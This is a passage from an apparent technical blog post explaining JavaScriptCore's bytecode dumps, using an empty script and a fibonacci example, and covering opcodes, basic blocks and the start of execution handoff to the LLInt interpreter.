</span></span></code></pre></div><p>Here, <code>loc5</code> represents the destination register and <code>loc4</code> the source register. One can infer this by looking up the <code>OpMov::dump</code> function defined in <code>DerivedSources/JavaScriptCore/BytecodeStructs.h</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">dump</span>(BytecodeDumperBase<span style="color:#f92672">*</span> dumper, InstructionStream<span style="color:#f92672">::</span>Offset __location, <span style="color:#66d9ef">int</span> __sizeShiftAmount)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        dumper<span style="color:#f92672">-&gt;</span>printLocationAndOp(__location, <span style="color:#f92672">&amp;</span><span style="color:#e6db74">&#34;**mov&#34;</span>[<span style="color:#ae81ff">2</span> <span style="color:#f92672">-</span> __sizeShiftAmount]);
</span></span><span style="display:flex;"><span>        dumper<span style="color:#f92672">-&gt;</span>dumpOperand(m_dst, true);
</span></span><span style="display:flex;"><span>        dumper<span style="color:#f92672">-&gt;</span>dumpOperand(m_src, false);
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>At the end of the basic block is a list of <code>Successor</code> blocks that can be reached from the current basic block. In the dump above we don&rsquo;t have any successor blocks since there are no control flow edges in <em>empty.js</em>.</p>
<p>Towards the end of the bytecode dump is the footer which typically contains information about <em>Identifiers</em>, <em>Constants</em>, <em>ExceptionHandlers</em> and <em>JumpTables</em>. In the dump snippet, there exists one constant which is the value returned at the end of program execution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">Constants</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Undefined</span>
</span></span></code></pre></div><p>Lets now attempt to explore the bytecode with a more interesting program. For this exercise lets use a <em>fibonacci</em> sequence generator:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">fibonacci</span>(<span style="color:#a6e22e">num</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">num</span> <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">1</span>) <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">fibonacci</span>(<span style="color:#a6e22e">num</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">+</span> <span style="color:#a6e22e">fibonacci</span>(<span style="color:#a6e22e">num</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">2</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">fib</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">fibonacci</span>(<span style="color:#ae81ff">5</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">print</span>(<span style="color:#a6e22e">fib</span>)
</span></span></code></pre></div><p>The dumped bytecode is as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">BDIvjt</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffee4bc000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeeecb848</span>, <span style="color:#a6e22e">NoneGlobal</span>, <span style="color:#ae81ff">115</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">23</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">12</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">235</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">1</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">18</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">new_func</span>           <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">11</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">18</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc7</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">21</span>] <span style="color:#a6e22e">put_to_scope</span>       <span style="color:#a6e22e">loc8</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">loc6</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">ThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotInitialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">29</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">Undefined</span>(<span style="color:#a6e22e">const0</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">32</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">39</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc12</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">46</span>] <span style="color:#a6e22e">get_from_scope</span>     <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc12</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">ThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotInitialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">54</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc11</span>, <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">5</span>(<span style="color:#a6e22e">const1</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">57</span>] <span style="color:#a6e22e">call</span>               <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc8</span>, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">18</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">63</span>] <span style="color:#a6e22e">put_to_scope</span>       <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">loc8</span>, <span style="color:#ae81ff">1048576</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">DoNotThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">Initialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">71</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">Undefined</span>(<span style="color:#a6e22e">const0</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">74</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc10</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">81</span>] <span style="color:#a6e22e">get_from_scope</span>     <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc10</span>, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">ThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotInitialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">89</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc9</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">96</span>] <span style="color:#a6e22e">get_from_scope</span>     <span style="color:#a6e22e">loc11</span>, <span style="color:#a6e22e">loc9</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">ThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotInitialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[ <span style="color:#ae81ff">104</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc9</span>, <span style="color:#a6e22e">loc11</span>
</span></span><span style="display:flex;"><span>[ <span style="color:#ae81ff">107</span>] <span style="color:#a6e22e">call</span>               <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">16</span>
</span></span><span style="display:flex;"><span>[ <span style="color:#ae81ff">113</span>] <span style="color:#a6e22e">end</span>                <span style="color:#a6e22e">loc6</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Identifiers</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">fibonacci</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">fib</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">print</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Constants</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Undefined</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">5</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">source</span> <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">integer</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fibonacci</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AcXBvC</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffee4bc130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffee4e5100</span>, <span style="color:#a6e22e">NoneFunctionCall</span>, <span style="color:#ae81ff">75</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">16</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">9</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">195</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">2</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">16</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">jnlesseq</span>           <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span>(<span style="color:#a6e22e">const0</span>), <span style="color:#ae81ff">6</span>(<span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">13</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">2</span> ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">11</span>] <span style="color:#a6e22e">ret</span>                <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span>(<span style="color:#a6e22e">const0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">13</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc10</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">20</span>] <span style="color:#a6e22e">get_from_scope</span>     <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">loc10</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">ThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotInitialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">28</span>] <span style="color:#a6e22e">sub</span>                <span style="color:#a6e22e">loc9</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span>(<span style="color:#a6e22e">const0</span>), <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">3</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">34</span>] <span style="color:#a6e22e">call</span>               <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">loc6</span>, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">16</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">40</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc10</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">47</span>] <span style="color:#a6e22e">get_from_scope</span>     <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc10</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">ThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotInitialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">55</span>] <span style="color:#a6e22e">sub</span>                <span style="color:#a6e22e">loc9</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">2</span>(<span style="color:#a6e22e">const1</span>), <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">3</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">61</span>] <span style="color:#a6e22e">call</span>               <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">16</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">67</span>] <span style="color:#a6e22e">add</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">126</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">73</span>] <span style="color:#a6e22e">ret</span>                <span style="color:#a6e22e">loc6</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Identifiers</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">fibonacci</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Constants</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">source</span> <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">integer</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">2</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">source</span> <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">integer</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">8</span>
</span></span></code></pre></div><p>The dumped output contains bytecode for the the main program as well as the function <code>fibonacci</code> defined in the script. There are several new instructions that have been emitted by the bytecode generator, such as <code>new_func</code> which indicates a function declaration, <code>call</code> and <code>ret</code> which indicates that a function is being called and when a function returns, <code>jnlesseq</code> which is a conditional jump instruction if the <em>lhs</em> is less than or equal to the <em>rhs</em>, arithmetic opcodes such as <code>add</code> and <code>sub</code>, etc. To learn more about an opcode and it&rsquo;s operands, one approach would be to add a breakpoint and the <code>dump</code> function in <code>BytecodeStructs.h</code> and inspect the operands and trace their origins while debugging.</p>
<p>The function <code>fibonacci</code> is composed of three basic blocks: <code>bb#1</code>, <code>bb#2</code> and <code>bb#3</code>. Basic block <code>bb#1</code> has two successors <code>bb#3</code> and <code>bb#2</code>. This indicates that the block <code>bb#1</code> has two control flow edges, one that leads to <code>bb#2</code> and the other that leads to <code>bb#3</code>.</p>
<p>The dumped footers for the two codeblocks <code>&lt;global&gt;</code> and <code>fibonacci</code> list the various Identifiers and Constants that are referenced by the bytecode. For example the footer for the main program is as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">Identifiers</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">fibonacci</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">fib</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">print</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Constants</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Undefined</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">5</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">source</span> <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">integer</span>
</span></span></code></pre></div><p>Those familiar with x86 or arm assembly will find the opcode syntax to be very similar and can make an educated guess on some of the actions performed by the opcodes. For example the <code>mov</code> opcode is similar to the x86 mov, which takes the form <code>mov &lt;dst&gt; &lt;src&gt;</code>. However, there are some opcodes that may not be intuitive, and to determine the opcode action one would need to trace the execution of the opcodes in the LLInt or evaluate LLInt assembly to understand their operation.</p>
<h2 id="execution">Execution</h2>
<p>The linked <code>codeBlock</code> is now ready to be consumed and executed by the interpreter. This beings at the point when the <code>codeBlock</code> is passed back up the call stack to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/ScriptExecutable.cpp#L410"><code>ScriptExecutable::prepareForExecutionImpl</code></a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>Exception<span style="color:#f92672">*</span> ScriptExecutable<span style="color:#f92672">::</span>prepareForExecutionImpl(VM<span style="color:#f92672">&amp;</span> vm, JSFunction<span style="color:#f92672">*</span> function, JSScope<span style="color:#f92672">*</span> scope, CodeSpecializationKind kind, CodeBlock<span style="color:#f92672">*&amp;</span> resultCodeBlock)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    Exception<span style="color:#f92672">*</span> exception <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>;
</span></span><span style="display:flex;"><span>    CodeBlock<span style="color:#f92672">*</span> codeBlock <span style="color:#f92672">=</span> newCodeBlockFor(kind, function, scope, exception);
</span></span><span style="display:flex;"><span>    resultCodeBlock <span style="color:#f92672">=</span> codeBlock;
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (Options<span style="color:#f92672">::</span>useLLInt())
</span></span><span style="display:flex;"><span>        setupLLInt(codeBlock);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">setupJIT</span>(vm, codeBlock);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    installCode(vm, codeBlock, codeBlock<span style="color:#f92672">-&gt;</span>codeType(), codeBlock<span style="color:#f92672">-&gt;</span>specializationKind());
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nullptr</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Within this function, the <code>codeBlock</code> is passed to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/ScriptExecutable.cpp#L432"><code>setupLLInt</code></a> which eventually calls <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LLIntEntrypoint.cpp#L139"><code>LLInt::setProgramEntrypoint</code></a> which sets up the entry point to the program for the LLInt to being executing from:</p>
